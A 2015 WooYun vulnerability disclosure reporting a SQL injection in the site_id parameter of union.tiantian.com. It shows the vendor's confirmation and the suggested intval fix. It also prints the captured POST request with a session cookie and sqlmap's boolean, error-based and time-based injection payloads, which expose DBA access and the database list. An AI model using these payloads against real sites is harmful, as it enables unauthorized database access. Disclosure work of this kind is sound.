当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129619

漏洞标题:天天网一处SQL注入(DBA权限)

相关厂商:tiantian.com

漏洞作者: null_z

提交时间:2015-07-28 11:21

修复时间:2015-09-11 11:58

公开时间:2015-09-11 11:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-28: 细节已通知厂商并且等待厂商处理中
2015-07-28: 厂商已经确认,细节仅向厂商公开
2015-08-07: 细节向核心白帽子及相关领域专家公开
2015-08-17: 细节向普通白帽子公开
2015-08-27: 细节向实习白帽子公开
2015-09-11: 细节向公众公开

简要描述:

SQL注入

详细说明:

注入点:http://union.tiantian.com/web.php?m=site&a=site_edit&site_id=150
不知道cookie啥时候失效,如果失效了,自己注册一个帐号。
注入参数site_id
POST数据包

POST /web.php?m=site&a=site_save HTTP/1.1
Host: union.tiantian.com
Proxy-Connection: keep-alive
Content-Length: 109
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://union.tiantian.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://union.tiantian.com/web.php?m=site&a=site_edit&site_id=150
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4
Cookie: PHPSESSID=2khg5mgafnmeh7f2e9oduekv16; BIGipServerPool_192.168.106.121_wangmeng_huancun=2037033152.20480.0000
site_id=150&site_name=www.baidu.com&site_domain=www.baidu.com&site_type=13&description=adadsasdsaf&dosubmit=+


就在网站管理的地方

2015-07-27 10:34:26的屏幕截图.png

2015-07-27 10:39:12的屏幕截图.png

漏洞证明:

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: site_id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: site_id=150 AND 1295=1295&site_name=www.baidu.com&site_domain=www.baidu.com&site_type=13&description=adadsasdsaf&dosubmit=
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: site_id=150 AND (SELECT 8381 FROM(SELECT COUNT(*),CONCAT(0x71787a6a71,(SELECT (CASE WHEN (8381=8381) THEN 1 ELSE 0 END)),0x7171767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&site_name=www.baidu.com&site_domain=www.baidu.com&site_type=13&description=adadsasdsaf&dosubmit=
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: site_id=150 AND (SELECT * FROM (SELECT(SLEEP(5)))ULmx)&site_name=www.baidu.com&site_domain=www.baidu.com&site_type=13&description=adadsasdsaf&dosubmit=
---
web application technology: PHP 5.3.17
back-end DBMS: MySQL >= 5.0.0
current user is DBA: True
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] union_tiantian

修复方案:

intval

版权声明:转载请注明来源 null_z@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-28 11:56

厂商回复:

THX

最新状态:

暂无